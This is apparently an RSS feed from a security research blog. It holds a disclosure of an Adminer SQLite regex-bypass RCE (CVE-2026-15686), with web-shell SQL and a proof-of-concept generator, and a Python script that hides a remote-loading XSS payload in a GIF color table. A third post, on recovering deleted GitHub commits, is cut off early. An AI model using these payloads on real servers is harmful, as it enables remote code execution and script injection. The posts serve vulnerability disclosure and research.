<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Sorcery Blog</title><link>/</link><description>Sorcery Blog</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Wed, 29 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="/index.xml" rel="self" type="application/rss+xml"/><item><title>Adminer - SQLite RCE Regex Filter Bypass (CVE-2026-15686)</title><link>/posts/adminer_sqlite_rce_regex_bypass/</link><pubDate>Wed, 29 Jul 2026 00:00:00 +0000</pubDate><guid>/posts/adminer_sqlite_rce_regex_bypass/</guid><description>&lt;p&gt;Adminer is a PHP database management tool. It has support for running queries on SQLite databases.
In versions 4.2.4 and before it was possible to get RCE using the SQLite functionality by creating a database file with the &lt;code&gt;.php&lt;/code&gt; extension and inserting PHP code like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ATTACH &lt;span style="color:#66d9ef"&gt;DATABASE&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;shell.php&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;AS&lt;/span&gt; lol;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; lol.pwn (dataz text);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;INSERT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;INTO&lt;/span&gt; lol.pwn ( dataz) &lt;span style="color:#66d9ef"&gt;VALUES&lt;/span&gt; (&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;?php system($_GET[&amp;#34;command&amp;#34;]); ?&amp;gt;&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This would result in a SQLite database called lol.php being created in the same directory as the adminer.php and visiting it would execute the PHP code as the PHP interpeter will ignore the the SQLite binary data surrounding the PHP code.&lt;/p&gt;
&lt;p&gt;To patch this Adminer was changed to require a password for all database types and they added a regex to block queries using &lt;code&gt;ATTACH&lt;/code&gt; in this &lt;a href="https://github.com/vrana/adminer/commit/a5b65fba5b4f420651a9e388c5702c101d85d7d9"&gt;commit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The code is effectively:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$pattern &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;~^(?:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;s|/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;*[\s\S]*?&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;*/|(?:#|--)[^&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;]*&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;?|--&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;?&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;)*+ATTACH&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;b~i&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;($pattern, $query, $match)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;error&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;PHP&amp;rsquo;s &lt;code&gt;preg_match&lt;/code&gt; has this interesting behaviour where it returns 1 on match, 0 on no match and false on failure.
A failure can be triggered using &lt;a href="https://www.regular-expressions.info/catastrophic.html"&gt;Catastrophic Backtracking&lt;/a&gt;, this will cause &lt;code&gt;preg_match&lt;/code&gt; to return false when the backtracking limit is reached and then we can bypass the filter. The patch for this is to explicitly check the return value is &lt;code&gt; !== 0&lt;/code&gt;, this way if it errors it will block it correctly.&lt;/p&gt;
&lt;p&gt;This is the same issue I found in &lt;a href="https://blog.sorcery.ie/posts/mybb_acp_rce/"&gt;CVE-2023-41362 RCE in MyBB templates&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The method I used to reach the backtrack limit in this case is putting lots of empty SQLite comment lines before the payload.&lt;/p&gt;
&lt;h1 id="proof-of-concept" &gt;Proof of Concept
&lt;/h1&gt;&lt;p&gt;The following script generates the payload SQL file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;END&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;ATTACH DATABASE &amp;#39;lol.php&amp;#39; AS lol;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;CREATE TABLE lol.pwn (dataz text);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;INSERT INTO lol.pwn (dataz) VALUES (&amp;#39;&amp;lt;?php phpinfo(); ?&amp;gt;&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;END&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str_repeat&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;--&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;PHP_EOL&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;350000&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$payload;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run it like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;php exploit.php &amp;gt; exploit.sql
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It generates a file with many SQLite comments before the payload code, this makes the regex backtrack many times until it hits the backtrack limit at which point preg_match returns false.&lt;/p&gt;
&lt;p&gt;Open Adminer and import/upload the exploit.sql file into the SQLite query page.&lt;/p&gt;
&lt;p&gt;On success it will say &lt;code&gt;3 queries executed OK.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you check the adminer.php directory you will see a file called &lt;code&gt;lol.php&lt;/code&gt; with the phpinfo code within it.&lt;/p&gt;
&lt;h1 id="other-notes" &gt;Other Notes
&lt;/h1&gt;&lt;p&gt;In this same Adminer version update 3 other bugs discovered by &lt;a href="https://blog.voorivex.team/three-0-day-vulnerabilities-in-adminer"&gt;Voorivex&lt;/a&gt; were patched, one of which is in the same regex filter.
They bypass it in a different way by using &lt;code&gt;VACUUM INTO&lt;/code&gt; instead of &lt;code&gt;ATTACH&lt;/code&gt; to get the file write.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;25/09/2025&lt;/td&gt;
&lt;td&gt;Reported to ZDI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24/02/2026&lt;/td&gt;
&lt;td&gt;Report accepted and rewarded by ZDI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;06/03/2026&lt;/td&gt;
&lt;td&gt;ZDI disclosed details to vendor and assigns id ZDI-CAN-28201&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09/07/2026&lt;/td&gt;
&lt;td&gt;Patched in Adminer 5.4.3 (&lt;a href="https://github.com/vrana/adminer/commit/b4aa9160355279f63ce191dc8c571bd204e266ee"&gt;commit&lt;/a&gt;) with &lt;a href="https://github.com/vrana/adminer/security/advisories/GHSA-3582-q6xq-5vf7"&gt;advisory&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29/07/2026&lt;/td&gt;
&lt;td&gt;Blog post released - CVE-2026-15686&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Embedding Payloads in GIF File Using the Global Color Table</title><link>/posts/gif_payload_gct/</link><pubDate>Fri, 02 May 2025 00:00:00 +0000</pubDate><guid>/posts/gif_payload_gct/</guid><description>&lt;p&gt;Some vulnerabilities require you to have a file on the server containing your payload. One common mechanism for this is through image uploads. There is a variety of techniques people use for this such as embedding the payload in EXIF data, image comments or bypassing the upload form by adding a fake GIF header to the start of the file.&lt;/p&gt;
&lt;p&gt;These techniques work a lot of the time but they may often be hampered by manipulations and optimizations by the target such as stripping exif data, more thorough checking of the image validity, rebuilding the image.&lt;/p&gt;
&lt;p&gt;This technique is similar to the &lt;a href="https://archive.is/8vDXm"&gt;PNG IDAT chunks&lt;/a&gt; method but is more flexible and does not require bruteforcing.&lt;/p&gt;
&lt;h1 id="global-color-table" &gt;Global Color Table
&lt;/h1&gt;&lt;p&gt;The Global Color Table is a series of RGB values that follows the GIF header and the Logical Screen Descriptor at the start of a GIF file.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s used to store the RGB values used in the rest of the file, this allows for small file sizes as the index in the color table can be used to refer to a color instead of the full RGB value.&lt;/p&gt;
&lt;h1 id="approach" &gt;Approach
&lt;/h1&gt;&lt;p&gt;We take our payload (eg. &lt;code&gt;&amp;lt;SCRIPT SRC=//LOL.CC&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;) and split it into chunks of 3 characters (&lt;code&gt;&amp;lt;SC&lt;/code&gt;, &lt;code&gt;RIP&lt;/code&gt;, &lt;code&gt;T S&lt;/code&gt;&amp;hellip;).&lt;/p&gt;
&lt;p&gt;Each of these chunks must be unique but our original payload can include the same sequence of 3 characters more than once by putting in spaces or other adjustments (capitalisation, syntax, whitespace characters). For example: &lt;code&gt;ABCABC&lt;/code&gt; becomes &lt;code&gt;[ 'ABC', 'ABC' ]&lt;/code&gt; so that won&amp;rsquo;t work but &lt;code&gt;ABC ABC&lt;/code&gt; becomes &lt;code&gt;[ 'ABC', ' AB', 'C' ]&lt;/code&gt; so that will work.&lt;/p&gt;
&lt;p&gt;These chunks become the colors where each character is the RGB value.&lt;/p&gt;
&lt;p&gt;We then just add the payload colors to the image in order, repeating to fill the desired image size.&lt;/p&gt;
&lt;p&gt;In my usecase the payload needed to remain after the image was remade with the PHP functions &lt;code&gt;imagecreatefromgif&lt;/code&gt; and &lt;code&gt;imagecopyresampled&lt;/code&gt; and the GCT was rebuilt in order of when each color was first seen. In some settings the GCT is in order of occurence of the color, in that case you will need to make the first payload color more common than the second and so on in your script.&lt;/p&gt;
&lt;p&gt;One case my script does not work in is if &lt;code&gt;imagecreatetruecolor&lt;/code&gt; is used, some more work must be done to figure that out but I don&amp;rsquo;t need it for the scenario that led me to doing this.&lt;/p&gt;
&lt;h1 id="script" &gt;Script
&lt;/h1&gt;&lt;p&gt;Install Pillow:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m pip install --upgrade Pillow
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;generate.py:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; PIL &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Image
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; random
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;color_to_ascii&lt;/span&gt;(color):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; chr(color[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; chr(color[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; chr(color[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;duplicates&lt;/span&gt;(array):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; seen &lt;span style="color:#f92672"&gt;=&lt;/span&gt; set()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { val &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; val &lt;span style="color:#f92672"&gt;in&lt;/span&gt; array &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (val &lt;span style="color:#f92672"&gt;in&lt;/span&gt; seen &lt;span style="color:#f92672"&gt;or&lt;/span&gt; seen&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add(val)) }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;create_custom_gif&lt;/span&gt;(output_path, colors, width&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;, height&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; colors:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;raise&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ValueError&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;At least one color must be provided&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; img &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Image&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new(&lt;span style="color:#e6db74"&gt;&amp;#39;RGB&amp;#39;&lt;/span&gt;, (width, height))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pixels &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dict()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; color_pos &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; _ &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range((width &lt;span style="color:#f92672"&gt;*&lt;/span&gt; height)&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pixel_color &lt;span style="color:#f92672"&gt;=&lt;/span&gt; colors[color_pos]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; color_pos &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; color_pos &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; len(colors):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; color_pos &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(color_to_ascii(pixel_color))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; _ &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; pixel_color &lt;span style="color:#f92672"&gt;not&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; count:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count[pixel_color] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count[pixel_color]&lt;span style="color:#f92672"&gt;+=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pixels&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(pixel_color)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; img&lt;span style="color:#f92672"&gt;.&lt;/span&gt;putdata(pixels)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; img&lt;span style="color:#f92672"&gt;.&lt;/span&gt;save(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output_path,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; save_all&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; version&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;87a&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;GIF created successfully at &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;output_path&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;SCRIPT SRC=//LOL.CC&amp;gt;&amp;lt;/script&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; payload&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;hex()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [int(payload[i:i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;],&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,len(payload),&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; len(payload)&lt;span style="color:#f92672"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; payload&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(random&lt;span style="color:#f92672"&gt;.&lt;/span&gt;randint(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;255&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; custom_colors &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, len(payload), &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; color &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (payload[i], payload[i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;], payload[i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; custom_colors&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(color)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dupes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; duplicates(custom_colors)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; dupes:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Error: Duplicate colors found, make sure every 3 characters is unique: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;[color_to_ascii(c) &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; c &lt;span style="color:#f92672"&gt;in&lt;/span&gt; dupes]&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; create_custom_gif(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output_path&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;generated.gif&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; colors&lt;span style="color:#f92672"&gt;=&lt;/span&gt;custom_colors,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; height&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>CFOR Exploit - Recovering Deleted and Private Github Commits</title><link>/posts/cfor_exploit/</link><pubDate>Sat, 03 Aug 2024 00:00:00 +0000</pubDate><guid>/posts/cfor_exploit/</guid><description>&lt;p&gt;CFOR stands for Cross Fork Object Reference. It&amp;rsquo;s an information disclosure vulnerability where deleted commits or commits from private forks can be exposed if you know the commit hash, it&amp;rsquo;s similar to an IDOR.
